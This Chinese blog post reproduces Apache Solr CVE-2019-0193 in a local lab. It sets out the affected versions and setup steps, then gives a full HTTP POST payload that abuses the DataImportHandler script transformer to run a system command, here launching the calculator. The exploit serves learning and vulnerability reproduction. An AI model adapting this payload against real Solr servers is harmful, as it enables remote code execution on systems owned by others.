CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

漏洞背景

2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重

影响范围

Apache Solr < 8.2.0

利用工具

burpsuite

漏洞原因  

Apache solr 是一款开源的搜索服务器并且使用java语言开发;

主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词处理,根据分词结果查找索引,继而找到文档

在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制

漏洞复现

下载影响范围内的Apache solr(我这里用的是7.7.2版本)解压在cmd运行

cd C:\Users\Eulalia\Desktop\solr-7.7.2
cd bin
solr -e dih

 浏览器访问 http://localhost:8983/solr 

 cmd 命令执行 curl http://localhost:8983/solr/admin/cores 可以获取core信息,根据获取的core信息中name信息构造payload

 payload如下:

POST /solr/atom/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 494
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

利用burpsuite发送可弹出计算器

漏洞修复

建议升级到最新版本

参考

https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip

https://www.cnblogs.com/paperpen/p/11328728.html

posted @ 2021-05-09 13:27  20181234  阅读(228)  评论(0编辑  收藏  举报